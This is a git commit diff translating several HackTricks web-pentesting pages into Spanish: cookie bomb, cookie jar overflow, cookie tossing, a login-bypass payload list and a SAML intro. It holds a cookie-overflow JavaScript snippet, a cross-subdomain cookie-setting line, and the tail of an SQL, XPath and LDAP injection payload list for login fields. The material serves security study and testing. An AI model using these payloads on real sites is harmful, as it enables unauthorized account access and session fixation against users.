Translated ['pentesting-web/hacking-with-cookies/cookie-bomb.md', 'pente

This commit is contained in:
Translator 2024-01-10 17:10:25 +00:00
parent 83ac9cf2c6
commit c670a31a04
20 changed files with 980 additions and 913 deletions

View file

@ -1,22 +1,35 @@
Una bomba de cookies es la capacidad de **agregar una gran cantidad de cookies grandes a un usuario** para un dominio y sus subdominios con el objetivo de que la víctima siempre **envíe grandes solicitudes HTTP** al servidor (debido a las cookies) y el **servidor no aceptará la solicitud**. Por lo tanto, esto causará un DoS sobre un usuario en ese dominio y subdominios.
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Una cookie bomb es la capacidad de **añadir un gran número de cookies grandes a un usuario** para un dominio y sus subdominios con el objetivo de que la víctima siempre **envíe solicitudes HTTP grandes** al servidor (debido a las cookies) y el **servidor no acepte la solicitud**. Por lo tanto, esto causará un DoS sobre un usuario en ese dominio y subdominios.
Un buen **ejemplo** se puede ver en este informe: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
Y para obtener más información, puede consultar esta presentación: [https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26)
Y para más información, puedes consultar esta presentación: [https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PR a los repositorios [hacktricks](https://github.com/carlospolop/hacktricks) y [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,36 +1,49 @@
Los navegadores tienen un **límite en la cantidad de cookies** que pueden almacenar para una página. Entonces, si por alguna razón necesitas **hacer desaparecer una cookie**, puedes **sobrecargar el frasco de cookies** ya que las más antiguas serán eliminadas primero:
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Los navegadores tienen un **límite en el número de cookies** que pueden almacenar para una página. Entonces, si por alguna razón necesitas **hacer desaparecer una cookie**, puedes **desbordar el bote de cookies** ya que las más antiguas serán eliminadas primero:
```javascript
// Set many cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i}; Secure`;
document.cookie = `cookie${i}=${i}; Secure`;
}
// Remove all cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}
```
Ten en cuenta que las cookies de terceros que apuntan a un dominio diferente no serán sobrescritas.
Tenga en cuenta que las cookies de terceros que apuntan a un dominio diferente no se sobrescribirán.
{% hint style="danger" %}
Este ataque también se puede utilizar para **sobrescribir cookies HttpOnly ya que se pueden eliminar y luego restablecer con el valor que se desee**.
Este ataque también se puede utilizar para **sobrescribir cookies HttpOnly ya que puedes eliminarlas y luego restablecerlas con el valor que desees**.
Comprueba esto en [**esta publicación con un laboratorio**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/).
Comprueba esto en [**este post con un laboratorio**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/).
{% endhint %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿o quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Consigue la [**ropa oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PR al repositorio [hacktricks](https://github.com/carlospolop/hacktricks) y [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,16 +1,14 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PR a los repositorios [hacktricks](https://github.com/carlospolop/hacktricks) y [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -19,45 +17,45 @@
Si un atacante puede **controlar un subdominio o el dominio de una empresa o encuentra un XSS en un subdominio**, podrá realizar este ataque.
Como se indicó en la sección de Hacking de Cookies, cuando una **cookie se establece en un dominio (especificándolo), se utilizará en el dominio y subdominios.**
Como se indicó en la sección de Hacking con Cookies, cuando se **establece una cookie para un dominio (especificándolo), se utilizará en el dominio y subdominios.**
{% hint style="danger" %}
Por lo tanto, **un atacante podrá establecer en el dominio y subdominios una cookie específica haciendo algo como** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
{% endhint %}
Esto puede ser peligroso ya que el atacante puede:
Esto puede ser peligroso ya que el atacante podría:
* **Fijar la cookie de la víctima en la cuenta del atacante** para que si el usuario no se da cuenta, **realice las acciones en la cuenta del atacante** y el atacante pueda obtener información interesante (ver el historial de búsquedas del usuario en la plataforma, la víctima puede establecer su tarjeta de crédito en la cuenta...)
* Si la **cookie no cambia después del inicio de sesión**, el atacante puede simplemente **fijar una cookie**, esperar hasta que la víctima inicie sesión y luego **usar esa cookie para iniciar sesión como la víctima**.
* Si la **cookie establece algún valor inicial** (como en Flask donde la **cookie** puede **establecer** el **token CSRF** de la sesión y este valor se mantendrá después de que la víctima inicie sesión), el **atacante puede establecer este valor conocido y luego abusar de él** (en ese escenario, el atacante puede hacer que el usuario realice una solicitud CSRF ya que conoce el token CSRF).
* **Fijar la cookie de la víctima a la cuenta del atacante** para que si el usuario no se da cuenta, **realizará las acciones en la cuenta del atacante** y el atacante podría obtener información interesante (revisar el historial de búsquedas del usuario en la plataforma, la víctima podría registrar su tarjeta de crédito en la cuenta...)
* Si la **cookie no cambia después del inicio de sesión**, el atacante podría simplemente **fijar una cookie**, esperar hasta que la víctima inicie sesión y luego **usar esa cookie para iniciar sesión como la víctima**.
* Si la **cookie está estableciendo algún valor inicial** (como en flask donde la **cookie** puede **establecer** el **token CSRF** de la sesión y este valor se mantendrá después de que la víctima inicie sesión), el **atacante podría establecer este valor conocido y luego abusar de él** (en ese escenario, el atacante podría hacer que el usuario realice una solicitud CSRF ya que conoce el token CSRF).
## Orden de las Cookies
Cuando un navegador recibe dos cookies con el mismo nombre **afectando parcialmente el mismo ámbito** (dominio, subdominios y ruta), el **navegador enviará ambos valores de la cookie** cuando ambos sean válidos para la solicitud.
Dependiendo de quién tenga **la ruta más específica** o cuál sea la **más antigua**, el navegador **establecerá el valor de la cookie primero** y luego el valor del otro como en: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
Dependiendo de quién tenga **la ruta más específica** o cuál sea **la más antigua**, el navegador **establecerá el valor de la cookie primero** y luego el valor de la otra como en: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
La mayoría de los **sitios web solo usarán el primer valor**. Entonces, si un atacante quiere establecer una cookie, es mejor establecerla antes de que se establezca otra o establecerla con una ruta más específica.
La mayoría de los **sitios web solo usarán el primer valor**. Entonces, si un atacante quiere establecer una cookie, es mejor hacerlo antes de que se establezca otra o establecerla con una ruta más específica.
{% hint style="warning" %}
Además, la capacidad de **establecer una cookie en una ruta más específica** es muy interesante ya que podrás hacer que la **víctima trabaje con su cookie excepto en la ruta específica donde se enviará la cookie maliciosa antes**.
Además, la capacidad de **establecer una cookie en una ruta más específica** es muy interesante ya que podrás hacer que la **víctima trabaje con su cookie excepto en la ruta específica donde la cookie maliciosa establecida se enviará antes**.
{% endhint %}
## Bypass de Protección
## Protección Bypass
Una posible protección contra este ataque sería que el **servidor web no acepte solicitudes con dos cookies con el mismo nombre pero dos valores diferentes**.
Una posible protección contra este ataque sería que el **servidor web no acepte solicitudes con dos cookies con el mismo nombre pero con dos valores diferentes**.
Para evitar el escenario en el que el atacante establece una cookie después de que la víctima ya haya recibido la cookie, el atacante podría causar un **desbordamiento de cookies** y luego, una vez que se **elimina la cookie legítima, establecer la maliciosa**.
Para eludir el escenario en el que el atacante está estableciendo una cookie después de que a la víctima ya se le haya dado la cookie, el atacante podría provocar un **desbordamiento de cookie** y luego, una vez que se **elimine la cookie legítima, establecer la maliciosa**.
{% content-ref url="cookie-jar-overflow.md" %}
[cookie-jar-overflow.md](cookie-jar-overflow.md)
{% endcontent-ref %}
Otro **bypass** útil podría ser **codificar en URL el nombre de la cookie** ya que algunas protecciones buscan 2 cookies con el mismo nombre en una solicitud y luego el servidor decodificará los nombres de las cookies.
Otro **bypass** útil podría ser **codificar la URL del nombre de la cookie** ya que algunas protecciones buscan 2 cookies con el mismo nombre en una solicitud y luego el servidor decodificará los nombres de las cookies.
## Bomba de Cookies
## Cookie Bomb
Un ataque de Cookie Tossing también se puede utilizar para realizar un ataque de **Bomba de Cookies**:
Un ataque de Cookie Tossing también puede usarse para realizar un ataque de **Cookie Bomb**:
{% content-ref url="cookie-bomb.md" %}
[cookie-bomb.md](cookie-bomb.md)
@ -65,10 +63,10 @@ Un ataque de Cookie Tossing también se puede utilizar para realizar un ataque d
## Defensas
### **Usar el prefijo `__Host` en el nombre de la cookie**
### **Usa el prefijo `__Host` en el nombre de la cookie**
* Si un nombre de cookie tiene este prefijo, **solo se aceptará** en una directiva Set-Cookie si está marcado como seguro, se envió desde un origen seguro, no incluye un atributo de dominio y tiene el atributo de ruta establecido en /
* **Esto evita que los subdominios obliguen a una cookie al dominio principal ya que estas cookies pueden verse como "bloqueadas por el dominio"**
* Si un nombre de cookie tiene este prefijo, **solo será aceptado** en una directiva Set-Cookie si está marcado como Seguro, fue enviado desde un origen seguro, no incluye un atributo de Dominio y tiene el atributo de Ruta establecido en /
* **Esto impide que los subdominios fuercen una cookie al dominio principal ya que estas cookies pueden verse como "bloqueadas por dominio"**
## Referencias
@ -78,3 +76,15 @@ Un ataque de Cookie Tossing también se puede utilizar para realizar un ataque d
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,23 +1,21 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Esta lista contiene **payloads para saltarse el inicio de sesión a través de XPath, LDAP e inyección SQL** (en ese orden).
Esta lista contiene **payloads para eludir el inicio de sesión mediante inyección XPath, LDAP y SQL** (en ese orden).
La forma de usar esta lista es poner las **primeras 200 líneas como nombre de usuario y contraseña**. Luego, poner la lista completa en el campo de nombre de usuario y luego en el campo de contraseña mientras se pone alguna contraseña (como _Pass1234._) o algún nombre de usuario conocido (como _admin_).
La forma de usar esta lista es colocar las **primeras 200 líneas como nombre de usuario y contraseña.** Luego, pon la lista completa primero en el nombre de usuario y luego en los campos de contraseña, mientras ingresas alguna contraseña (como _Pass1234._) o algún nombre de usuario conocido (como _admin_).
```
admin
password
@ -817,24 +815,23 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
%A8%27) Or 1-- 2
%8C%A8%27) Or 1-- 2
%bf') Or 1-- 2
%A8%27)O(1)-- 2
%8C%A8%27)O(1)-- 2
%bf')O(1)-- 2
%A8%27)Or(1)-- 2
%8C%A8%27)Or(1)-- 2
%bf')Or(1)-- 2
%A8%27)||1-- 2
%8C%A8%27)||1-- 2
%bf')||1-- 2
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al repositorio [hacktricks](https://github.com/carlospolop/hacktricks) y al repositorio [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,50 +1,50 @@
```markdown
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
# Descripción
Security Assertion Markup Language (SAML) es un estándar abierto que permite a los proveedores de identidad (IdP) pasar credenciales de autorización a los proveedores de servicios (SP). Lo que significa ese jerga es que puedes **usar un conjunto de credenciales para iniciar sesión en muchos sitios web diferentes**. Es mucho más sencillo gestionar un inicio de sesión por usuario que gestionar inicios de sesión separados para correo electrónico, software de gestión de relaciones con clientes (CRM), Active Directory, etc.
Security Assertion Markup Language (SAML) es un estándar abierto que permite a los proveedores de identidad (IdP) pasar credenciales de autorización a los proveedores de servicios (SP). Lo que significa ese tecnicismo es que puedes **usar un conjunto de credenciales para iniciar sesión en muchos sitios web diferentes**. Es mucho más sencillo gestionar un inicio de sesión por usuario que gestionar inicios de sesión separados para el correo electrónico, software de gestión de relaciones con clientes (CRM), Active Directory, etc.
Las transacciones SAML utilizan Extensible Markup Language (XML) para comunicaciones estandarizadas entre el proveedor de identidad y los proveedores de servicios. SAML es el vínculo entre la autenticación de la identidad de un usuario y la autorización para usar un servicio. (De [aquí](https://www.varonis.com/blog/what-is-saml/))
Las transacciones SAML utilizan Extensible Markup Language (XML) para comunicaciones estandarizadas entre el proveedor de identidad y los proveedores de servicios. SAML es el enlace entre la autenticación de la identidad de un usuario y la autorización para usar un servicio. (De [aquí](https://www.varonis.com/blog/what-is-saml/))
# SAML vs. OAuth
